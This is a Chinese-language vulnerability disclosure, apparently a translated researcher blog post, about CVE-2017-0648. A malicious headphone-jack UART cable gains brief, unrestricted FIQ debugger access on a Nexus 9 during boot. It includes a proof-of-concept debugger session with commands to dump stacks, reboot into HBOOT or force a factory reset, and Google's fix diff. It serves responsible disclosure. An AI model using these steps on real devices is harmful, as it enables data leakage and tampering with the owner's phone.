Nexus 9漏洞允许黑客通过耳机接口攻击设备

Nexus 9漏洞允许黑客通过耳机接口攻击设备。在2017年3月份,我们曾披露了有关漏洞CVE-2017-0510的信息,这是一个存在于Nexus 9设备中的严重漏洞,它将允许他人发动一种非常新颖的攻击,即通过恶意耳机来攻击Nexus 9设备。但有趣的是,这个漏洞的补丁并没有什么效果,所以这就导致了CVE-2017-0648的出现。为此,我们根据Google的漏洞披露政策负责任地将漏洞CVE-2017-0648的相关信息上报给了Google,而Google也在2017年6月份的Android安全公告中修复了这个漏洞。

 

 

在这篇文章中,我们首先要回顾一下漏洞CVE-2017-0510,然后分析一下之前的补丁为何无效(CVE-2017-0648),最后再给大家演示如何利用这个漏洞来发动攻击。文章结尾我们还会给大家提供漏洞CVE-2017-0648的修复方案,而这个补丁似乎终于成功地修复了这个漏洞。

回顾漏洞CVE-2017-0510

对于Google Nexus或Pixel设备来说,当TRRS连接器的MIC针脚上电压超过了一定的阈值时,手机的耳机插口将会变成一个UART调试接口。下图显示的是我们使用标准FTDI232RL电路板所组装的一个样本线缆:

 

 

Nexus 9中的这个漏洞意味着调试接口将允许外部访问FIQ调试器:

debug> help

FIQ Debugger commands:

pc PC status

regs Register dump

allregs Extended Register dump

bt Stack trace

reboot [] Reboot with command

reset [] Hard reset with command

irqs Interupt status

kmsg Kernel log

version Kernel version

sleep Allow sleep while in FIQ

nosleep Disable sleep while in FIQ

console Switch terminal to console

cpu Current CPU

cpu Switch to CPU

ps Process list

sysrq sysrq options

sysrq

Execute sysrq with

这将会产生非常有趣的后果,比如说:

1.任意进程抢占,这将导致用户数据存在泄漏的可能;

2.Stack Canaries泄漏;

3.ASLR解随机处理;

4.访问SysRq;

5.通过命令“reboot oem-42”重启进入HBOOT(HTC的Android Bootloader),将导致设备内部SoC芯片受到攻击(CVE-2017-0563 & CVE-2017-0582);

6.通过命令“reboot oem-76”恢复出厂设置。

CVE-2017-0510的尝试修复

Google曾尝试通过减少FIQ Debugger的功能来修复漏洞CVE-2017-0510,在近期的版本中,当平台完全加载之后已经无法导出注册信息或是通过oem-N参数来重启设备了(防止设备重启进入HBOOT或恢复出厂设置):

debug> help

FIQ Debugger commands:

reboot Reboot

reset Hard reset

irqs Interrupt status

sleep Allow sleep while in FIQ

nosleep Disable sleep while in FIQ

console Switch terminal to console

ps Process list

debug>

Tegra内核树中相关的commit为a075f8ab69f6。在对补丁进行了分析之后,我们发现FIQ Debugger中很多关键的核心命令现在都由sysrq_on()函数进行管理。比如说,我们先测试一下fiq_debugger.c中的fiq_debugger_fiq_exec函数:

static bool fiq_debugger_fiq_exec(struct fiq_debugger_state *state,

const char *cmd, const struct pt_regs *regs,

void *svc_sp)

{

[...]

} else if (!strcmp(cmd, "pc")) {

if (sysrq_on())

fiq_debugger_dump_pc(&state->output, regs);

} else if (!strcmp(cmd, "regs")) {

if (sysrq_on())

fiq_debugger_dump_regs(&state->output, regs);

} else if (!strcmp(cmd, "allregs")) {

if (sysrq_on())

fiq_debugger_dump_allregs(&state->output, regs);

} else if (!strcmp(cmd, "bt")) {

if (sysrq_on())

fiq_debugger_dump_stacktrace(&state->output, regs,

100, svc_sp);

[...]

}

sysrq_on函数位于drivers/tty/sysrq.c文件中,其实现方法如下:

bool sysrq_on(void)

{

return sysrq_enabled || sysrq_always_enabled;

}

由于sysrq_always_enabled的值为0,我们姑且可以认定这个补丁的有效性仅仅取决于sysrq_enabled的值。

针对FIQ Debugger和SysRq不受限制的临时访问(CVE-2017-0648)

不幸的是,正如我们之前的文章所解释的那样,sysrq_enabled的默认值是1:

static int __read_mostly sysrq_enabled = SYSRQ_DEFAULT_ENABLE;

这个参数定义在文件include/linux/sysrq.h之中:

/* Enable/disable SYSRQ support by default (0==no, 1==yes). */

#define SYSRQ_DEFAULT_ENABLE 1

但是在平台的启动过程中,我们可以使用一个init脚本向/proc/sys/kernel/sysrq写入0值:

[...]

on early-init

# Set init and its forked children's oom_adj.

write /proc/1/oom_score_adj -1000

# Disable sysrq from keyboard

write /proc/sys/kernel/sysrq 0

[...]

kernel/sysctl.c中的代码会将proc文件/proc/sys/kernel/sysrq回滚到原始状态,并最终触发sysrq_enabled的值发生变化。

因此,尽管存在CVE-2017-0510的补丁,但在启动过程中我们仍然有一段非常短的时间(几毫秒)来执行init脚本,这样一来我们就仍然可以访问FIQ Debugger和SysRq命令了:

Ephemeral Access to Unrestricted FIQ and SysRq (CVE-2017-0648)

=============================================================

.------. (1) .------------------.

.--> | BOOT | -------> | Unrestricted FIQ | --.

| `------' `---------.--------' | (4) .-------.

| | |---> | HBOOT |

| (3) .-------------. (2) | | `-------'

`--------- | Limited FIQ | -------------' | (5) .---------------.

`---> | Factory Reset |

`---------------'

Transitions:

(1) sysrq_enabled = SYSRQ_DEFAULT_ENABLE = 1

(2) init: write 0 /proc/sys/kernel/sysrq 0 => sysrq_enabled = 0

(3) attacker @ limited FIQ: ’reboot’

(4) attacker @ unrestricted FIQ: ‘reboot oem-42′

(5) attacker @ unrestricted FIQ: ‘reboot oem-76′

PoC

在下面给出的例子中,我们演示了如何绕过CVE-2017-0510的补丁并抢占任意进程以及如何进入HBOOT模式。我们假设当平台完全加载完成之后攻击便立刻开始,我们首先触发了一次设备重启(正常重启),然后获得了FIQ Debugger的临时访问权。在这个过程中,我们运行了“bt”命令,然后通过命令“reboot oem-42”重启进入了HBOOT模式:

debug> help

FIQ Debugger commands:

reboot Reboot

reset Hard reset

irqs Interrupt status

sleep Allow sleep while in FIQ

nosleep Disable sleep while in FIQ

console Switch terminal to console

ps Process list

debug> bt

debug> reboot

debug>

[0000.045] Battery Present

[0000.069] Battery Voltage: 3743 mV

[0000.072] Battery charge sufficient

[0000.076] Override BCT configs

[0000.078] NvBootEmcReadMrr+++

[...]

[hboot query] query 24 is not implemented

Platform Pre OS Boot configuration...

[INFO] booting linux @ 0x80080000, tags @ 0x83a80000, ramdisk @ 0x82a80000, machine type: -1

[...]

debug> help

FIQ Debugger commands:

pc PC status

regs Register dump

allregs Extended Register dump

bt Stack trace

reboot [] Reboot with command

reset [] Hard reset with command

irqs Interupt status

kmsg Kernel log

version Kernel version

sleep Allow sleep while in FIQ

nosleep Disable sleep while in FIQ

console Switch terminal to console

cpu Current CPU

cpu Switch to CPU

ps Process list

sysrq sysrq options

sysrq

Execute sysrq with

[...]

debug> bt

pid: 89 comm: kworker/u4:1

x0 0000000000002ee0 x1 0000000000002d09

x2 000000000859c84a x3 ffffffc002968c00

x4 0000000000defde8 x5 ffffffc000f56aa8

x6 ffffffc0029c8400 x7 ffffffc0029c8800

x8 ffffffc002935130 x9 0000000010624dd3

x10 000000000001a1b6 x11 0000000000000066

x12 000000000000006f x13 0000000000000075

x14 000000000000006e x15 0000000000000064

x16 000000000000000a x17 0000000000000004

[...]

debug> reboot oem-42

[...]

###[ Bootloader Mode ]###

[...]

hboot> ?

#. :

security_command:

1. boot : no desc.

[...]

14. readconfig : no desc.

15. readimei : no des

CVE-2017-0648的修复方案

Google在公告34597d088801中正式修复了这个漏洞。SYSRQ_DEFAULT_ENABLE的值已经被设置为0了,这样就可以阻止外部对FIQ Debugger和SysRq接口不受限制的临时访问:

diff --git a/include/linux/sysrq.h b/include/linux/sysrq.h

index 5a0bd93..d393eeb 100644

--- a/include/linux/sysrq.h

+++ b/include/linux/sysrq.h

@@ -18,7 +18,7 @@

#include

/* Enable/disable SYSRQ support by default (0==no, 1==yes). */

-#define SYSRQ_DEFAULT_ENABLE 1

+#define SYSRQ_DEFAULT_ENABLE 0

/* Possible values of bitmask for enabling sysrq functions */

/* 0x0001 is reserved for enable everything *